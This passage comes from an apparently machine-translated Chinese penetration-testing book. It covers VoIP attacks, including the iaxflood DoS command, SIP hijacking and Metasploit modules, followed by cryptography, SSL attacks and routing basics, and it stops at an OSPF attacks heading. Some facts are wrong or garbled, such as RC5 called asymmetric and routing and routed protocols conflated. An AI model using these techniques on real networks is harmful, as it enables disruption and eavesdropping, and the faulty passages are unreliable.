**网关控制器:**这是可选的。网关控制器提供一些额外的服务,如用户认证和地址解析。
H.323 堆栈基于以下组件:
-
IPv4 网络层
-
用户数据报协议层
-
实时协议
-
信令协议
-
呼叫前设置
-
视频编解码器
-
音频编解码器
-
数据
以下图表说明了 H.323 堆栈的不同组件:
Skinny 呼叫控制协议
Skinny 呼叫控制协议(SCCP),由 Selsius 开发,是思科专有的协议。它被称为 skinny 是因为它是一种轻量级协议,用于 IP 电话和呼叫管理器的通信。这种通信使用以下不同类型的消息:
-
0001:
RegisterMessage -
0002:
IPportMessage -
0081:
RegisterAckMessage
这些消息遵循以下格式:
以下截图是从使用 Wireshark 的 Skinny 捕获中获取的,从 Wireshark 网站下载:
RTP/RTCP
实时协议(RTP)是一种传输协议,特别是基于 RFC 3550 的UDP。它用于实时多媒体应用程序和端到端实时数据流传输。为了实现这一点,例如,视频经历了许多步骤:
-
编码
-
封包
-
传输控制
-
重组
-
解码
尽管 RTP 被指定用于传输媒体流,但还有另一个与 RTP 一起工作的协议,称为实时控制协议(RTCP)。这个协议与 RTP 并行工作,监视传输并确保服务质量(QoS)。RTCP 的目的是检查在过程中是否有数据包丢失。
安全实时传输协议
**安全实时传输协议(SRTP)**是基于 RFC3711 的应用协议。SRTP 提供了增强的安全功能;因此,它通过使用密钥流进行异或运算来加密 RTP 从而保护 RTP。所使用的算法是 AES,主密钥称为 SRTP MKI。下图说明了普通 RTP 包和安全 RTP 包之间的区别。Auth 字段包含消息认证码。这些技术提供了反重放机制来保证语音流量的完整性:
H.248 和媒体网关控制协议
媒体网关控制协议(MGCP)是由思科开发的协议。MGCP 的目标是处理信号和会话管理。它是媒体网关控制器和媒体网关之间的通信机制。因此,控制是集中的。换句话说,控制器与许多媒体网关进行通信。控制器还监督终端并在其区域注册新终端。H.248 也像 H.323 一样,是一个基于 ITU 的协议。它是 MGCP 的增强版本。正如你在图表中看到的,MGCP 是一种主从协议:
会话初始协议
会话初始协议(SIP)是基于 RFC 3261 协议的会话管理协议。它可以在 UDP 和 TCP 上运行,也支持 TLS。它比 H323 更具可扩展性。SIP 在以下五个步骤中处理呼叫:
-
用户位置
-
用户可用性
-
用户能力
-
会话建立
-
会话管理
要开始 SIP 操作,用户需要进行注册:
以下图表描述了建立两个用户代理客户端之间连接所需的步骤:
SIP 请求类似于 HTTP 请求。它们的格式如下:
METHOD URI SIP/X.X
头部: XXX
这里,方法是请求类型,我们有以下六种方法:
-
注册
-
邀请
-
ACK
-
取消
-
选项
-
再见
SIP 回复请求需要以下格式:
SIP/X.X <状态代码> 描述
头部: XXX
-
URI: 文件标识
-
SIP/X.X: SIP 版本
-
头部: 这包含了有关接收者的信息(To, From, Call-ID 是一些 SIP 头部字段)
以下是可能的状态代码:
-
1xx: 信息 -
2xx: 成功 -
3xx: 重定向 -
4xx: 失败 -
5xx: 服务器错误 -
6xx: 全局失败
VoIP 开发
现在,在对 VoIP 中发挥重要作用的主要协议有了清晰的理解之后,是时候学习如何渗透 VoIP 基础设施了。与任何其他渗透测试一样,要利用 VoIP 基础设施,我们需要按照一系列步骤进行战略性操作。
在攻击任何基础设施之前,我们已经了解到我们需要在利用之前进行足迹、扫描和枚举,这正是我们将要对 VoIP 进行的操作。为了进行 VoIP 信息收集,我们需要尽可能收集有关目标的有用信息。首先,你可以在网上进行简单的搜索。例如,招聘公告可能是一个有价值的信息来源。例如,以下工作描述让攻击者对 VoIP 有了一个大致的了解:
之后,攻击者可以搜索可能存在的漏洞来尝试利用特定系统。搜索电话号码也可能是一个明智的举措,以了解目标的语音信箱,因为每个供应商都有一个默认的语音信箱。如果管理员没有更改它,收听语音信箱可以让你了解目标。如果你想查看一些默认语音信箱,请查看 www.hackingvoip.com/voicemail.html。这是一个学习 VoIP 黑客攻击的绝佳资源。
谷歌黑客是一种搜索信息和在线门户的神奇技术。我们在前几章中讨论了使用 Dorks 进行谷歌黑客。以下演示是这个谷歌 Dork 的输出——在 URL 中:网络配置 Cisco:
你可以使用 Shodan.io 搜索引擎找到连接的 VoIP 设备:
VoIP 设备通常连接到互联网。因此,它们可以被外部人员访问。它们可以通过其 Web 界面暴露出来;这就是为什么有时候留下安装文件暴露出来可能是危险的,因为使用搜索引擎可能会导致对门户进行索引。以下截图是从在线 Asterisk 管理门户获取的:
这个截图是从一个暴露的网站的配置页面获取的,使用一个简单的搜索引擎查询:
从攻击者的角度收集有关目标的有价值信息后,我们通常应该执行扫描。在这个阶段进行扫描是必要的,使用前几章讨论的扫描技术。进行主机发现和 Nmap 扫描是扫描基础设施以搜索 VoIP 设备的好方法。
扫描可以带领我们发现 VoIP 服务。例如,我们在 Nmap 中看到了-sV选项来检查服务。在 VoIP 中,如果端口2000是开放的,那么它是 Cisco CallManager,因为 SCCP 协议使用该端口作为默认端口,或者如果有一个 UDP5060端口,那么它是 SIP。
-O Nmap 选项对于识别正在运行的操作系统可能是有用的,因为有很多 VoIP 设备正在运行特定的操作系统,比如 Cisco 嵌入式系统。
现在你知道该怎么做了。在足迹和扫描之后,我们需要枚举目标。正如你所看到的,当利用基础设施时,我们通常遵循相同的方法论步骤。
横幅抓取是枚举中众所周知的技术,枚举 VoIP 基础设施的第一步是开始横幅抓取。为了做到这一点,使用 Netcat 实用程序将有助于您轻松地抓取横幅,或者您可以简单地使用名为横幅的 Nmap 脚本:
nmap -sV --script=banner <target>
对于特定的供应商,有很多枚举工具可以使用;EnumIAX 就是其中之一。它是 Kali Linux 中的一个内置枚举工具,用于暴力破解 Inter-Asterisk Exchange 协议的用户名:
自动企业枚举器(ACE)是 Kali Linux 中的另一个内置枚举工具:
svmap 是 Kali Linux 中的一个内置工具,用于识别 SIP 设备。输入 svmap -h,你将得到这个神奇工具的所有可用选项:
VoIP 攻击
到目前为止,你已经学会了执行 VoIP 足迹、扫描和枚举所需的技能。让我们来发现主要的 VoIP 攻击。VoIP 面临来自不同攻击向量的多重威胁。
拒绝服务
拒绝服务(DoS)是对网络可用性的威胁。这种攻击在前几章中已经讨论过。对于 VoIP 来说,DoS 也可能是危险的,因为确保通话的可用性对现代组织至关重要。现在不仅是可用性,通话的清晰度也是当今的必需品。为了监控 VoIP 的 QoS,你可以使用许多工具;其中之一是 CiscoWorks QoS Policy Manager 4.1:
为了衡量 VoIP 的质量,有一些评分系统,比如平均意见分(MOS)或基于几个参数(抖动、延迟和丢包)的 R 值。平均意见分的分数范围从 1 到 5(差到非常清晰),R 值的分数范围从 1 到 100(差到非常清晰)。以下截图是从 Wireshark 网站下载的 RTP 数据包分析中获取的:
你还可以分析 RTP 抖动图:
VoIP 基础设施可以受到经典的 DoS 攻击。我们之前看到了其中一些:
-
Smurf 洪水攻击
-
TCP SYN 洪水攻击
-
UDP 洪水攻击
DoS 攻击工具之一是iaxflood。它在 Kali Linux 中可用于执行 DoS 攻击。IAX代表Inter-Asterisk Exchange。
打开 Kali 终端,输入iaxflood <Source IP> <Destination IP> <Number of packets>:
VoIP 基础设施不仅可以受到先前的攻击,攻击者还可以使用模糊工具执行数据包分片和格式错误数据包来攻击基础设施。
窃听
窃听是最严重的 VoIP 攻击之一。它让攻击者接管您的隐私,包括您的通话。有许多窃听技术;例如,攻击者可以嗅探 TFTP 配置文件的网络,而这些文件包含密码。以下截图描述了对 TFTP 捕获的分析:
此外,攻击者可以收集电话号码并构建有效的电话号码数据库,记录所有的呼入和呼出电话。窃听并不止于此,攻击者可以录制您的通话,甚至知道您正在使用双音多频(DTMF)输入什么。您可以使用此链接www.polar-electric.com/DTMF/上的 DTMF 解码器/编码器:
错误配置的互联网电话上的语音(VOMIT)是一个将 Cisco IP 电话对话转换为 WAV 文件的实用程序。您可以从其官方网站vomit.xtdnet.nl/下载它:
SIP 攻击
另一种攻击技术是 SIP 伪装。我们可以执行两种类型的 SIP 伪装。从攻击者的角度来看,我们可以实现以下内容:
- Rogue SIP B2BUA:在这种攻击技术中,攻击者模仿 SIP B2BUA:
- SIP 伪装为代理:在这里,攻击者模仿 SIP 代理:
SIP 注册劫持
SIP 注册劫持是一个严重的 VoIP 安全问题。我们之前看到,在建立 SIP 会话之前,有一个注册步骤。注册可以被攻击者劫持。在 SIP 注册劫持攻击期间,攻击者通过拒绝服务(DoS)禁用正常用户,然后简单地发送带有自己 IP 地址的注册请求,而不是该用户的 IP 地址,因为在 SIP 中,消息是明文传输的,所以 SIP 不确保信令消息的完整性:
如果您是 Metasploit 爱好者,可以尝试许多其他 SIP 模块。通过输入msfconsole打开 Metasploit 控制台,并使用search SIP:搜索 SIP 模块。
要使用特定的 SIP 模块,只需输入use <module>。以下界面是 SIP 模块使用的示例:
互联网电话的垃圾邮件
互联网电话的垃圾邮件(SPIT),有时被称为语音垃圾邮件,类似于电子邮件垃圾邮件,但它影响 VoIP。要执行 SPIT 攻击,可以使用名为spitter的生成工具。
嵌入恶意软件
恶意软件是 VoIP 基础设施的主要威胁。您不安全的 VoIP 终端可能会受到不同类型的恶意软件的攻击,如蠕虫和 VoIP 僵尸网络。
软电话也是攻击者的一个高度可能的目标。如果攻击者破坏了您的软电话,可能非常危险,因为如果攻击者利用它,他们可以破坏您的 VoIP 网络。恶意软件不是针对 VoIP 终端的唯一威胁。VoIP 固件是黑客的潜在攻击向量。固件黑客可能导致电话被破坏。
Viproy - VoIP 渗透测试工具包
**Viproy VoIP 渗透测试工具包(v4)**是一个 VoIP 和统一通信服务渗透测试工具,由 Fatih Ozavci 在 2014 年 Black Hat Arsenal USA 上展示:
要下载此项目,请从其官方存储库克隆它,github.com/fozavci/viproy-voipkit:
git clone github.com/fozavci/vip….
以下项目包含许多模块,用于测试 SIP 和 Skinny 协议:
要使用它们,将lib,modules和data文件夹复制到系统中Metasploit文件夹中。
VoLTE 利用
Voice over LTE (VoLTE) 在 4G 网络上传输语音。其通话质量比其他 VoIP 变体更高,而且提供更好的覆盖范围。VoLTE 以及其他语音技术都面临来自攻击者的各种威胁。让我们开始探索 VoLTE 的基础知识,以便后来学习如何攻击它。长期演进 (LTE) 由 第三代合作伙伴计划 (3GPP) 在 2014 年开发。它是一个基于 IP 的分组交换网络。它使用两种模式——时分双工 (TDD) 和 频分双工 (FDD)。LTE 架构由以下三个主要组件组成:
-
用户设备 (UE)
-
演进的 UMTS 地面无线电接入网络 (E-UTRAN).
-
演进分组核心 (EPC)
VoLTE 攻击
VoLTE 已被一些电信公司采用,如 AT&T 和 T-Mobile。许多研究都集中在试图利用 VoLTE 中涉及的通信协议。Sreepriya Chalakkal 的一篇研究论文介绍了针对 VoLTE 的几种攻击。以下是一些攻击:
-
嗅探 VoLTE 接口
-
GSM SIM 中的暴露密钥
-
用户位置操纵
-
漫游信息操纵
-
侧信道攻击
SiGploit – 电信信令利用框架
SiGploit 是一个安全框架,可帮助电信安全专业人员增强移动网络基础设施。要测试该项目,请从github.com/SigPloiter/SigPloit:克隆它
# git clone https://github.com/SigPloiter/SigPloit
要使用该工具,请转到bin目录并运行SiGsploit.py脚本:
摘要
在本章中,我们演示了如何利用 VoIP 基础设施。我们首先研究了 VoIP 中涉及的核心协议。然后,我们探讨了主要的 VoIP 攻击以及如何防御它们,以及渗透测试人员最常用的工具和实用程序。我们以概述一些针对 VoLTE 的最新攻击结束了本章。
第十章:不安全的 VPN 利用
虚拟私人网络(VPN)在安全传输数据方面非常有用。VPN 可以实现信息安全,但仍然容易受到黑客的高风险。如果你想学习如何保护 VPN,本章将从密码学的基本知识开始,帮助你获得保护 VPN 所需的技能。
本章将涵盖以下主题:
-
密码学
-
VPN 基础知识
-
不安全的 VPN 利用
密码学
在密码学艺术中,我们有两种不同的科学:密码学和密码分析。密码学基于数学算法保护信息,而密码分析则处理密码系统创建的密文。这两种科学并存。简单来说,密码学处理隐藏信息,而密码分析则破解密码系统以揭示隐藏信息。密码学并不是一门新科学,它很古老。有一些经典的密码学技术,比如苏美尔楔形文字、埃及象形文字、斯塞塔利、维吉尼亚密码、凯撒密码和 ROT13 密码。
密码系统
加密技术的实施被称为密码系统;有时也被称为密码系统。以下图表描述了一个简单的密码系统。发送者使用加密算法对明文进行加密,这是一个使用加密密钥的数学过程。该操作的输出生成一个密文,接收者将使用解密算法和解密密钥对其进行解密,使密文可读为明文:
密码
密码是加密的消息。密码可能会被攻击者拦截。我们有两种主要类型的密码:经典和现代。让我们逐一发现它们。
经典密码
这种类型存在于计算机时代之前,有以下两个分支:
-
置换:它使用排列。明文被重新排列成另一种格式。字符仍然相同,但位置不同。
-
替换:它使用字符替换,换句话说,用另一个字符替换一个字符,比如用M替换O。替换算法应该由发送者和接收者知道。ROT13 和凯撒密码是替换密码的两个例子。
ROT13 是一种替换密码,其中明文中字符的位置向后移动了 13 个位置。因此,如果明文是HELLO,那么密文应该是URYYB,如下所示:
凯撒密码是由朱利叶斯·凯撒使用的替换密码,其中明文消息的每个字符都向前移动了预定义的位置数。举个例子,假设移动的数字是2,那么HELLO的密文将是JGNNQ,如下所示。这种密码很容易被破解,你可以尝试最多 25 次移位,直到找到可读的文本:
现代密码
现代密码再次分为两种类型:
- 分组密码:这些按块处理信息。每个块将分别进行加密和解密。数据加密标准(DES)是最常用的分组密码之一,基于费斯特尔密码,由 IBM 研究员 Horst Feistel 开发,试图构建实现克劳德·香农的替换-置换(S-P)网络的理想分组密码结构。以下图表说明了费斯特尔结构:
- 流密码:这些按位或按字节处理信息,在加密和解密中。例如,要加密一条消息,会使用一个与消息大小相同的种子密钥生成一个密钥流,然后进行加密。以下图表说明了两种密码类别:
克尔克霍夫密码系统原则
为了检查您是否拥有一个良好和安全的加密系统,一位名为奥古斯特·克克霍夫的荷兰密码学家提出了一套用于设计安全加密系统的法律和原则。这些文章发表在 1883 年的一篇文章中,军事密码学。如果您想阅读完整的文本,请查看奥古斯特·克克霍夫,《军事密码学》,《军事科学杂志》,第九卷,第 5-38 页 II,军事密码学的 Desiderata,1883 年 1 月。克克霍夫的密码系统六原则如下:
以下是六个原则的英文翻译:
-
加密系统在实际上应该是不可破解的,即使在数学上不可破解
-
加密系统落入入侵者手中不应导致系统的任何妥协,从而不会给用户带来任何不便
-
密钥应该易于传达、记忆和更改
-
密文应该可以通过电报传输,这是一个不安全的渠道
-
加密设备和文件应该是便携的,并且可以由一个人操作
-
最后,系统必须易于使用,既不需要精神紧张,也不需要长串规则的知识来遵守
加密系统类型
在加密系统方面,我们有基于加密-解密密钥的两个主要类别——对称和非对称加密系统。如果系统同时使用相同的密钥进行加密和解密,那么它将是一个对称加密系统,否则,加密系统是非对称的,因为加密中使用的密钥与解密中使用的密钥不同。
对称加密系统
各种类型的对称加密系统如下:
- 数据加密标准(DES):这是由 IBM 开发的。它最初是 Lucifer 加密,后来由国家标准与技术研究所(NIST)发布。这种加密使用 56 位密钥:
轮函数在以下工作流程中描述:
密钥生成使用以下工作流程完成:
初始和最终置换由两个逆置换盒(P 盒)完成:
- 三重 DES(3DES):这种加密是 DES 的增强版本。它使用 168 位密钥,因为用户生成三个密钥,k1、k2 和 k3。第一个密钥 k1 用于加密单个 DES。第二个密钥 k2 用于解密第一步的输出。最后一个密钥 k3 用于加密上一步的单个 DES:
- 高级加密标准(AES):AES 是 DES 的替代品。它更快(大约快六倍)和更强大。它使用 Rijndael 密码:
-
Rivest Cipher 5 (RC5):这是由麻省理工学院教授罗纳德·里维斯特开发的非对称加密系统。RC5 由以下三个主要组成部分组成:
-
密钥扩展算法
-
加密算法:
-
- 解密算法:
RC6 是从 RC5 派生而来,块大小为 128 位,密钥大小灵活。
非对称加密系统
以下是非对称加密系统的算法:
-
Rivest-Shamir-Adleman(RSA):RSA 是互联网上最广泛使用的加密系统之一。它是由麻省理工学院的 Ron Rivest、Adi Shamir 和 Leonard Adleman 开发的。在使用 RSA 时,将生成一对密钥,即私钥和公钥。
-
Diffie-Hellman 密钥交换:Diffie-Hellman 密钥交换是一种在此操作期间创建密钥而无需共享和交换信息的方法。
基本思想是这样的:
-
- 选择两个素数,g和p
-
计算ga mod p并发送输出
-
另一个键计算gb mod p并发送输出B
-
计算Ba mod p
-
另一个键上的相同计算Ab mod p
- El Gamal:El Gamal 是基于 Diffie-Hellman 密钥交换的加密系统
哈希函数和消息完整性
哈希函数是数学函数,它接受任意大小的输入字符串,并生成固定大小的输出,称为哈希值或消息摘要。一个好的哈希函数
应该容易计算哈希;计算给定的明文将非常困难
哈希,对于两个不同的输入,它不会生成相同的哈希,除非在罕见情况下。
现在有许多知名的哈希函数;它们如下:
-
散列消息认证码
-
消息摘要(MD2)
-
消息摘要(MD4)
-
消息摘要(MD5),如果您想加密或解密明文,可以使用
md5decrypt.net/en/如下所示:
-
安全哈希算法(SHA)
-
Whirlpool
-
HAVAL
-
RIPEMD
数字签名
数字签名的主要目标是验证消息或文档的真实性和完整性。您可以将其视为电子指纹。以下图表显示了签署文件的步骤:
隐写术
隐写术是将消息隐藏在人类可读的媒介中的艺术,如图像文件、视频、文本等。这些变化在视觉上应该是不可察觉的,以掩盖承载文件后面的消息。隐写术有两种类型:
-
文本隐写术:
-
行移编码
-
词移编码
-
特征编码
-
图像隐写术:
-
最低有效位(LSB):在 8 位图像的每个像素中隐藏 1 位数据,在 24 位图像的每个像素中隐藏 3 位数据。您可以使用
steglsb执行 LSB 隐写术:
-
- 扩频图像隐写术(SSIS)
-
F5 算法
密钥管理
密钥管理是保护加密密钥的过程。为了确保这种保护,必须维护一个生命周期,如下所示:
-
密钥创建
-
密钥保护和监管
-
密钥轮换
-
密钥销毁
-
密钥托管
密码攻击
为了检索信息的明文,攻击者和密码分析师使用了许多技术:
-
穷举攻击(BFA):在此攻击期间,攻击者将尝试所有密钥组合以检索密钥
-
字典攻击:在此攻击中,攻击者使用准备好的字典并尝试其中的单词
-
生日攻击:在生日攻击中,攻击者使用哈希碰撞
-
仅密文攻击(COA):在此攻击中,攻击者拥有密文,他只需要确定密钥
-
已知明文攻击(KPA):攻击者使用我们称之为线性密码分析来从密码中检索缺失的明文,同时他知道密码的部分明文
-
已选择明文攻击(CPA):攻击者在选择密文和明文后使用差分密码分析来检索密钥
-
侧信道攻击(SCA):攻击者使用硬件攻击密码系统,利用功耗或 CPU 周期来利用密码系统物理实现的弱点
-
时序攻击:攻击者分析加密算法的计算时间
-
功率分析攻击:这与时序攻击相同,但攻击者分析的是功耗
-
故障分析攻击:攻击者研究密码系统中的错误以收集更多信息
VPN 基础知识
当涉及信息技术时,加密在保护不同状态的信息方面发挥着重要作用。各种技术应用每天都在使用加密,如磁盘加密、电子邮件安全和通信。VPN 就是其中之一。按定义,VPN 是两个站点之间的逻辑网络。VPN 的流量是加密的。
在加密中,我们有以下两种模式:
-
链路加密:在这种模式下,所有信息都被加密,消息应该在每一跳中解密。在这种情况下,路由器应该解密消息,以便了解路由信息,然后再次加密并转发到下一跳。
-
端到端加密:在这种模式下,所需头部中的信息不被加密,因此路由器等不需要解密它们,因为路由信息是清晰的:
隧道协议
VPN 中使用的两种技术是 SSL 和Internet Protocol Security(IPSec)。我们将详细和全面地讨论这两种技术,但现在让我们看看不同的隧道协议:
-
点对点隧道协议(PPTP)
-
第二层隧道协议(L2TP)
IPSec
IPSec 是一种协议套件,它能够在系统之间提供安全性,我所说的安全性是指信息安全第一章中讨论的三个基本支柱之一:保密性和完整性,以及身份验证和防重放保护。IPSec 使用以下两种协议:
-
认证头(AH)协议:此协议用于对流量进行身份验证而不加密。使用哈希函数(MD5 或 SHA1)进行身份验证。
-
封装安全载荷(ESP)协议:此协议也用于身份验证,但它也支持加密。
IPSec 在以下两种不同模式下运行:
-
隧道模式:在这种模式下,整个数据包被封装并转发。它在 VPN 中被广泛使用。在原始 IP 头部上添加了一个新的 IP 头部。
-
传输模式:这种模式用于系统之间的端到端加密。AH 头部被添加到 IP 头部中:
以下图示了两种不同的协议和不同的模式:
安全套接字层/传输层安全
安全套接字层(SSL)是一种应用层协议。如果您在安全模式下使用现代浏览器,那么您的浏览器与 Web 服务器之间的连接将由 SSL 保护。更安全的 SSL 版本是传输层安全(TLS)。如果网站由 SSL 证书保护,那么在您的 URL 栏中将出现 HTTPS 标志:
SLL/TLS 操作如下所示:
SSL 攻击
本节将讨论多年来发生的主要 SSL 攻击。
DROWN 攻击(CVE-2016-0800)
DROWN 攻击是一种破解加密的技术。当攻击被发现时,他们发现超过 33%的 HTTPS 服务器是容易受攻击的。仍然支持 SSLv2 的服务器容易受到这种攻击。在 DROWN 攻击中,攻击者发送具有相同私钥的探测包来解密 TLS 通信。因此,所有信息都会暴露出来。不仅支持 SSLv2 的服务器容易受到攻击,攻击者还可以使用另一个支持 SSLv2 的服务器的私钥来发动攻击。
要测试您的服务器是否容易受到 DROWN 攻击,您可以使用pentest-tools.com/network-vulnerability-scanning/drown-ssl-scanner:
为了防御 DROWN 攻击,建议您在服务器上禁用 SSLv2;确保私钥不被用于允许 SSLv2 连接的任何其他服务,并升级 OpenSSL 加密库。
POODLE 攻击(CVE-2014-3566)
向下兼容的遗留加密填充口令(POODLE)攻击于 2014 年被发现。这种攻击利用了许多服务器一方面支持 SSLv3,另一方面存在块填充漏洞的事实。以下图示了 POODLE 攻击:
通常,作为第一步,客户端发送支持的 TLS 版本。在这种情况下,攻击者拦截流量进行中间人攻击,并模拟服务器,直到连接降级为 SSLv3。如果连接建立,攻击者利用密码块链接漏洞,通过操纵填充字节执行 POODLE 攻击。
如果您想测试您的服务器是否容易受到 POODLE 攻击,您可以使用ssl-poodle nmap 脚本,或者简单地在线测试使用之前的网站:
要防御 POODLE 攻击,您需要在服务器上禁用 SSLv3 并升级客户端,因为升级的客户端使用 TLS 回退信号密码套件值(SCSV)以防止协议降级攻击。
BEAST 攻击(CVE-2011-3389)
浏览器针对 SSL/TLS 的利用(BEAST)攻击于 2011 年被发现。在 BEAST 攻击中,攻击者利用 TLS 中的密码块链接漏洞进行 CPA,通过进行中间人攻击。要防御 BEAST 攻击,升级 TLS 版本。
CRIME 攻击(CVE-2012-4929)
在压缩比例信息泄漏简化(CRIME)攻击中,攻击者利用 TLS 压缩中的漏洞。以下图表演示了 CRIME 攻击:
这种压缩基本上是可选的,用于使用 DEFLATE 算法等减少带宽。要防御此攻击,请确保您的浏览器是最新的。
BREACH 攻击(CVE-2013-3587)
在通过自适应压缩的浏览器侦察和泄露(BREACH)攻击中,攻击者利用 HTTP 压缩。
心脏出血攻击
在心脏出血攻击中,攻击者利用 OpenSSL 库中的 TLS 心跳扩展。该扩展用于始终确保两个系统之间的连接是活动的。请求有效载荷由数据和其大小组成。攻击者利用这种格式迫使服务器从内存泄漏的数据中发送请求的大小:
为了测试您的服务器,请尝试通常的网站:
Qualys SSL 实验室
要测试您的服务器是否容易受到 SSL 攻击,您可以尝试 Qualys SSL 实验室。要尝试,请访问ssllabs.com/:
点击测试您的服务器并输入您的网站:
该网站将扫描与输入的网站相关的地址:
将生成一份报告,为您提供详细的 SSL 报告和总体评分:
总结
在本章中,您学会了如何保护 VPN。与每一章一样,我们从基础知识开始,从密码学技术到 VPN,因为对技术的各个方面有清晰的理解将使渗透测试人员更清晰地了解如何保护该技术。
在下一章中,我们将讨论交换机和路由器中可能存在的常见安全漏洞,并提供有关保持网络设备安全的建议。
第十一章:路由和路由器的漏洞
路由器是每个现代组织中的主要设备。在一个互联世界中,路由是交换信息的支柱,我们知道宝贵的信息每天都是攻击者的目标。本章将带您进行一个学习体验,从探索路由操作开始,并指导您通过利用路由协议和路由器的现实演示。
在这一章中,您将发现以下内容:
-
路由基础知识
-
利用路由协议——RIP、OSPF、EIGRP 和 BGP
-
利用现代路由器
-
如何防御三层攻击
路由基础知识
在前几章中,我们讨论了交换机。路由器和交换机都需要转发信息。即使有一些三层交换机,交换机也在第 2 层工作。路由器在第 3 层运行,即网络层:
为了交换信息,路由器使用 IP 地址。它们维护着一个路由表。在路由方面,我们有两个不同的类别:
-
静态路由:在静态路由中,所有路由都由网络管理员手动设置。对于网络较小且不需要多余路由更新的情况来说,这是一个不错的决定,但当链接中断时会出现问题。
-
动态路由:在动态路由中,路由器从邻居那里快速学习网络拓扑,即使链接中断,但网络流量大于静态路由。因此,可能会发生网络开销。
路由可以进一步分类为有类和无类路由:
- 有类路由:您不能在路由更新中发送子网掩码。在网络中,我们有五个 IP 类:
| 类别 | 第一个范围 | 默认子网掩码 |
|---|---|---|
| A | 1 – 126 | 255.0.0.0 |
| B | 128 – 191 | 255.255.0.0 |
| C | 192 – 223 | 255.255.255.0 |
| D | 224 – 239 | 多播 |
| E | 240 – 254 | 实验用途 |
- 无类路由:您可以在路由更新中发送子网掩码
为了在互联网上传输信息,路由器协议用于从一个网络到另一个网络进行信息路由。然而,我们需要区分两个不同的术语:路由协议和路由协议。路由协议用于从源到目的地路由信息,而路由协议是携带信息的有效载荷。换句话说,路由协议确定路径,更新路由表,并路由路由协议。有许多路由协议,例如以下:
-
互联网协议 (IP)
-
Internetwork Packet eXchange (IPX):
路由器使用各种算法来选择路由信息的路径,以提供高效、可靠、快速收敛和简单的数据交换。路由协议根据许多参数来完成这项工作:
-
带宽
-
延迟
-
成本
-
可靠性
-
跳数
-
最大传输单元 (MTU)
以下表格描述了一些基于其度量标准的路由协议。我们将在后面更详细地讨论每个路由协议。我们使用这个表格来更好地理解如何选择路由协议:
| 路由协议 | **度量标准 ** |
|---|---|
| EIGRP | 带宽、延迟、负载、可靠性和 MTU |
| RIPv2 | 跳数 |
| OSPF | 成本(带宽越高,成本越低) |
根据上述度量标准,路由协议可以分为三大类:
-
距离矢量协议:当路由器在特定时间段内向其邻居发送其路由表时使用
-
链路状态协议:它们维护网络的整体图像;它们只交换路由更改
-
混合协议:它们是链路状态协议和距离矢量协议的组合
以下是路由中重要的术语:
-
自治系统(AS):AS 是由共同实体或路由策略管理的一组网络设备
-
内部网关协议(IGP):在使用 IGP 时,路由器在自治系统内与共享相同路由协议的其他路由器交换信息
-
外部网关协议(EGP):如果需要从一个网络移动到另一个网络,例如互联网,需要在不同自治系统之间使用 EGP:
利用路由协议
在本节中,我们将探讨许多路由协议以及如何利用它们的每一个,并学习保护您的网络所需的防御措施。
路由信息协议
路由信息协议(RIP)v1 是一种距离矢量协议。它每 30 秒发送一次路由表。RIP 使用跳数作为决策度量。这是一个旧协议,它在其第一个版本 RIPv1 中不能超过 15 跳。为了到达目的地,RIP 使用跳数最少的路径,但这并不那么有效,因为在某些情况下,有许多跳数更多但带宽更好的路径。例如,在以下网络中使用 RIPv1 时,流量将通过路由 1转发,甚至路由 2具有更大的带宽:
在 RIPv1 的后继版本中考虑了许多修订。RIPv2 是 RIPv1 的增强版本。尽管 RIP 是一个分类路由协议,但 RIPv2 是无类别的,这意味着它在每个路由条目中包括掩码。因此,它支持可变长度子网掩码(VLSM)。RIPv2 还提供了一个简单的身份验证机制,因此只有在检查其真实性后,路由器才接受来自邻居路由器的数据包。还添加了一个标签,这是区分通过 RIP 学习的路由和其他协议的其他路由的附加信息。所有这些增强都很好,但跳数仍然是一个存在的问题,而在 RIPv2 中,可达跳数的最大值为 15。
要在路由器上配置 RIP,只需进入 RIP 配置模式:
Router(config)#router rip Router(config-router)#network <IP Address here>
在 RIP 操作和距离矢量路由中,可能会发生路由环路。路由环路发生在数据包在路由器之间反复传输时。这种环路可能会使网络失效。
为了防止路由环路,我们可以使用许多方法:
-
分割地平线:防止路由器将数据包发送回从中学习到该数据包的接口
-
路由毒化:这可以防止将数据包发送到网络中已经失效的路由
-
毒性逆转:通知邻居网关网关不再连接
-
保持计时器:设置为允许路由器在路由离线时恢复而不更新其路由表
-
触发更新:当度量值发生变化时发送部分更新
RIPv1 反射 DDoS
RIPv1,正如我之前提到的,是一个旧的路由协议,但攻击者重新使用了它。例如,在 2015 年,Akamai 的 Prolexic 安全工程和研究团队(PLXsert)的研究人员发现了一次巨大的 DDoS 攻击,峰值达到 12.9 Gbps。攻击者使用了放大和反射的 DDoS 攻击。在这次攻击中,黑客制作了一个正常的 RIPv1 请求查询,并使用了伪造的 IP 地址,与目标相同。为了防御这种类型的攻击,建议使用 RIPv2 而不是旧版本。此外,您需要使用访问列表并阻止来自端口520的 UDP 数据包。
开放最短路径优先
开放最短路径优先(OSPF)是基于 RFC 1247 的开放标准链路状态协议。在 OSPF 操作中,路由器使用链路状态广告(LSA)向同一区域中的所有路由器发送信息。路由器使用最短路径优先(SPF)算法计算路径。这个算法有时被称为迪杰斯特拉算法。它需要很大的处理能力。OSPF 还支持 VLSM。
为了更好地管理,OSPF 使用分层拓扑结构。OSPF 由一个名为区域 0的骨干组成,连接其他较小的区域。当发生变化时,路由器会收到通知,获取 LSA 的副本,并更新链路状态数据库(LSDB):
在深入了解 OSPF 工作原理之前,让我们先看一些重要的路由器术语:
-
**内部路由器:**所有 OSPF 接口都属于同一个区域
-
**骨干路由器:**至少属于相同的区域 0 的接口
-
**自治系统边界路由器(ASBR):**这连接自治系统
-
**指定路由器(DR):**这维护子网的数据库
-
**区域边界路由器(ABR):**至少一个 OSPF 接口属于区域 0,而另一个 OSPF 接口不属于区域 0
-
**备用指定路由器(BDR):**这为指定路由器提供冗余:
有三个 OSPF 表:
-
**邻居表:**这提供了关于邻居的信息
-
**拓扑表:**这提供了关于网络上路由的信息
-
**路由表:**这被认为是转发信息
以下过程描述了 OSPF 的工作原理:
-
每个 OSPF 路由器通过将最高 IP 分配给环回接口来选择其路由器 ID(用于标识的 IP 地址)。如果不是这种情况(逻辑接口未定义),则将选择物理接口的最高 IP 地址作为路由器 ID。
-
两个路由器向多播地址
224.0.0.5发送 Hello 数据包。 -
如果数据包具有相同的 Hello 间隔、死亡间隔和区域编号,则将形成邻居邻接
-
路由器发送数据库描述数据包。具有最高路由器 ID 的路由器将成为主路由器,并开始数据库数据包交换。
-
其中一个路由器从另一个路由器请求 LSA。
OSPF 攻击
